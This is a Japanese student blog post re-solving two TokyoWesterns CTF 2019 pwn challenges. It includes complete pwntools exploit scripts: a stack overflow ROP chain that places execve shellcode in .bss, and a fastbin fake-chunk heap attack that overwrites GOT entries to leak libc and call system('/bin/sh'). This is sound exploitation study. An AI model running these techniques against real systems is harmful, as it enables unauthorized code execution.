newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 5.1】 nothing more to say/ secure karte - TWCTF2019(1)

 

 

 

0: 参考

 

github.com

 

ptr-yudai.hatenablog.com

完全に参考にして解き直しました

 

 

 

1. イントロ

8/31~9/2に行われたTokyoWesterns CTFの解き直し

完全にofficialや他の人のwriteup等を参考にして書いたため

自分のアイディアはほぼ皆無

単に解法を自分のためにメモっとくだけの目的です

 

1-2: 表層解析

まずはpwnwarmup問題 "nothing more to say"

./warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=5fc8df188af9d5e2ab28765b036bba276bb1def9, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments



内容としては以下の通り

undefined8 main(void)

{
    char local_108 [0x100];
    
    init_proc();
    puts("message to long to show here...");
    gets(local_108);
    printf(local_108);
    return 0x0;
}

getsをしてprintfをするだけのプログラム

SSP無効でFSBがあるためシンプルにいける

 

 

1-3: 方針

stackのアドレスをリークする方法がないから

(あるにはあるがリークとシェルコードの注入を同時にできない)

一瞬どうしようかと思ったが

.bssセクションとかの書き込み可能領域の適当なところに置いとけばいいらしい

 

以下の通りrdi gadgetを探して

$ rp -f ./warmup -r 1 --unique > rdi_gadget.txt
$ cat ./rdi_gadget.txt | grep rdi
0x00400773: pop rdi ; ret  ;  (1 found)

 

ROPの順は rdi_gadget(pop GOT of gets) -> gets(&bss) -> &bss

 

 

1-4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./warmup"

rhp = {"host":"localhost","port":12301}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
bsssec = binf.bss()

rdi_gadget = 0x00400773

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

def exploit(conn):
  
  payload = "A"*(0x100+0x8)
  payload += p64(rdi_gadget)
  payload += p64(binf.bss())
  payload += p64(binf.plt["gets"])
  payload += p64(binf.bss())

  conn.recvuntil(":)\n")
  conn.sendline(payload)
  conn.sendline(shellcode)

  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()




2-2: 表層解析

続いてpwnの問題 "secure karte"

本番で割と時間をかけて考えてnameを偽チャンクにして。。。まで行ったが答えに行きつかなかった

./karte: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8d23a3822493caf3a6059f7e682a1c783a40845f, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)



2-3: 方針

めんどくさいので変数の説明だとかはカットして勝手に命名します

 

deleteしたあとのkarteも一回はmodifyできるため

chunkのfwdを書き換えてnameを指すようにする

なお今回使われているのはcalloc()であり

これはtcacheから取り出すことはしない

 

目標はlockを書き換えて何回でもmodifyできるようにした後

karteの内容を直接書き換えて

GOT overwriteする

 

使ったのは以下のテク(?)

hama.hatenadiary.jp

 

厳密には違うかも

 

でもまあ0x000000000000007fの7fだけを利用して有効なchunkを作るというもの

今回7f_gadgetはkarteより結構上にあるため何段階かで下に降りていく

 

前述したように

modifyは今の所一回しかできないが

名前の変更(rename)はいくらでもできるため

これによって次のchunkが7f_gadgetを指すようにする

この7f_gadgetの最後にはまた7fを入れておいて次に利用できるようにする

 

っていう具合のやつを

最初はイメージしづらかったため下のように図に起こしたが

今となってはこんな図を見たほうがよっぽどわかりにくい・・・

 

f:id:smallkirby:20190906101207p:plain

1/3

f:id:smallkirby:20190906101227p:plain

2/3

f:id:smallkirby:20190906101243p:plain

3/3

 

さてkarteに自由な値を書き込めるようになったとする

まずはaddでkarteのbuffer addrをatoiとfreeのGOTを指すようにする

その後modifyでfreeのGOTをprintfのPLTに書き換え

deleteの中でfreeされるときに printf (atoi addr) とする

 

このアドレスをもとにlibc baseとsystem addrを計算し

同じ要領でatoiのGOTをsystemに書き換える

atoiはメニュー入力で使われるため

次のメニュー入力で/bin/shを送れば終了

 

 

振り返ってみれば新しい知識はなかったが

本番で色々と実験してできるようにするのは難しいと思った

 

あと有効なchunkに見せる処理に苦戦した

(freeの際のinvalid next sizeとかinvalid pointerはどこの値が不正なのか未だに明確にわかってないかも・・・

 

 

2-4: 諸々のデータ覚書

pwndbg> x/160xb 0x602170 - 0x60
0x602110 <reserved+112>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602118 <reserved+120>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602120 :	0x05	0x00	0x00	0x00	0x06	0x00	0x00	0x00
0x602128:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602130:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602138:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602140 :	0x01	0x00	0x00	0x00	0x87	0xad	0x00	0x00
0x602148 <list+8>:	0x60	0x32	0xba	0x01	0x00	0x00	0x00	0x00
0x602150 <list+16>:	0x00	0x00	0x00	0x00	0x8a	0xd2	0x00	0x00
0x602158 <list+24>:	0xe0	0x35	0xba	0x01	0x00	0x00	0x00	0x00
0x602160 <list+32>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602168 <list+40>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602170 :	0x06	0xd8	0xa5	0x27	0xa5	0xa8	0x5e	0x41
0x602178:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602180 <stdout@@GLIBC_2.2.5>:	0x60	0x77	0xaf	0x11	0x54	0x7f	0x00	0x00
0x602188 :	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x602190 :	0xef	0xbe	0xbe	0xc0	0xad	0xde	0x00	0x00
0x602198:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x6021a0 :	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x6021a8 <name+8>:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41

 

 

 

2-5: exploit

<注意>参考の一番目をほぼもろぱくりしました(偽チャンクづくりの余計な部分を除いたくらいの違いです)。基本的にそっちを参照して。

 

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./karte"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

main_addr = 0x40095b
name_addr = 0x6021a0
list_addr = name_addr-0x60
atoi_offset = 0x40680
system_offset = 0x4f440
gadget_7f = 0x602075

def add(conn,size,desc): #desc should include \n if you want new line
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("Input size > ")
  conn.sendline(str(size))
  conn.recvuntil("Input description > ")
  conn.send(desc)
  conn.recvuntil("Added id ")
  return int(conn.recvline()[:-1])

def delete(conn,_id):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("Input id > ")
  conn.sendline(str(_id))

def modify(conn,_id,desc):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("Input id > ")
  conn.sendline(str(_id))
  conn.recvuntil("Input new description > ")
  conn.send(desc)

def rename(conn,name):
  conn.recvuntil("> ")
  conn.sendline("99")
  conn.recvuntil("... ")
  conn.send(name)

def exploit(conn):
  #sizeの下1bitが1になってるのはPREVINUSEを立てるためだよ!!
  #(めんどくさい統合処理を避けるため)


  #max rename size == 0x40

  #username regisration
  conn.recvuntil("... ")
  # to bypass size check of malloc fastbin
  #             prevsize  size        fwd                 
  conn.sendline(p64(0) + p64(0x81) + p64(name_addr + 0x60))


  #consume tcache
  for i in range(8):
    id_temp = add(conn,0x60,"A")
    delete(conn,id_temp)
  for i in range(8):
    id_temp = add(conn,0x70,"B")
    delete(conn,id_temp)
 
  #on fastbins
  id1 = add(conn,0x70,"C")
  id2 = add(conn,0x70,"D")
  #delete
  delete(conn,id2)
  delete(conn,id1)

  
  #modify
  modify(conn,id1,p64(name_addr)[:4]) #make refer to name

  id1 = add(conn,0x78,p64(0)*13+p64(0x70)[:7])
  id2 = add(conn,0x78,p64(0x81)*2+p64(0x81)*11+p64(0x81)[:7])  
  id3 = add(conn,0x78,p64(0)*3+p64(0x21))
  #now
  #id1: 0x80 @ hoge
  #id2: 0x80 @ name
  #id3: 0x80 @ name+0x60 (0x60 has no meaning, just writable temporaly area)
  
  delete(conn,id2) #free name chunk
  id2 = add(conn,0x78,p64(0)*11+p64(0x21)+p64(0)+p64(0x11)) #0x11 has no meaning, just set the LSB of id3's size field, Idon't know why 0x21 is needed;what's field?
  #★ 1
  #           prevsize size
  rename(conn,p64(0)+p64(0x71)) #change size
  #now
  #id1: 0x80 @ hoge
  #id2: 0x70 @ name
  #id3: 0x80 @ name+0x60
  
  delete(conn,id2)
  delete(conn,id1)
  delete(conn,id3)  
  #now
  #(id1): 0x80 @ hoge
  #(id2): 0x70 @ name
  #(id3): 0x80 @ name+0x60
  
  rename(conn,p64(0)+p64(0x71)+p64(gadget_7f))
  #now
  #(id1): 0x80 @ hoge
  #(id2): 0x70 @ name -> 7f_gadget
  #(id3): 0x80 @ name+0x60
  
  id2 = add(conn,0x68,p64(0))
  id1 = add(conn,0x68,"ABC"+p32(0x0)+p64(0xdeadbeef)*0xa+p64(0)+p64(0x7f))
  #now
  #id1:   0x70 @ 7f_gadget (0@0x6020dc, 0x7f@0x6020e4)
  #id2:   0x70 @ name
  #(id3): 0x80 @ name+0x60

  #bypass zfd ★ 2
  delete(conn,id2) #list: null id1 null
  rename(conn,p64(0)+p64(0x71)+p64(0x6020dc))
  #now
  #id1:   0x70 @ 7f_gadget
  #(id2): 0x70 @ name -> 0x6020dc
  #(id3): 0x80 @ name+0x60
  
  id2 = add(conn,0x68,p64(0))
  id3 = add(conn,0x68,p64(0)*6+p8(0)*4 + p32(0x5) + p32(0x6) + p64(0)*2 + p64(0x7f) + p32(0x1) + p32(id2) + p64(name_addr+0x10) + p8(0)) #preserve first(id2's) buffer address and clear second' inuse flag 
  #now
  #id1: 0x70 @ 7f_gadget
  #id2: 0x70 @ name
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)

  delete(conn,id2) #list: null null(id1) id3
  rename(conn,p64(0)+p64(0x71)+p64(0x602130)+p64(0x71)) #set next next chunk to 0x602130: list-0x10
  #now
  #[id1]: 0x70 @ 7f_gadget
  #(id2): 0x70 @ name -> list-0x10
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)
  
  id2 = add(conn,0x68,p64(0))
  payload = p32(1)+p32(id2)+p64(binf.got["atoi"])
  payload += p64(0)+p64(0) #this field got overwritten soon due to the field of himself
  payload += p32(1)+p32(id3)+p64(binf.got["free"])
  payload += p64(0xdeadc0bebeef)
  id1 = add(conn,0x68,payload) #list - 0x10
  #now
  #id1: 0x70 @ list-0x10
  #id2: 0x70 @ name
  #id3: 0x70 @ 0x6020dc (0@list-0x10, 0x7f@list-0x8)

  #overwrite GOT of free and leak the address of atoi
  modify(conn,id3,p64(binf.plt["printf"])[:6])
  delete(conn,id2) #invoke printf(*atoi addr) 
  atoi_addr = unpack(conn.recvline()[:-1].ljust(8,'\0'))
  print("[**]atoi: "+hex(atoi_addr))
  libc_base = atoi_addr - atoi_offset
  print("[**]libc base: "+hex(libc_base))
  system_addr = libc_base + system_offset
  print("[**]system: "+hex(system_addr))

  #overwrite GOT of atoi and do system()
  modify(conn,id2,p64(system_addr)[:6]) #[:6] is because the length of input is the older one - 1
  conn.recvuntil("> ")
  conn.sendline("/bin/sh") #invoke system("/bin/sh") instead of atoi
  conn.sendline("cat /flag")
  

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

 

 

f:id:smallkirby:20190906102143p:plain

 

 

 

 

 

 

 

 

 

 

他の問題は次回以降へ続く・・・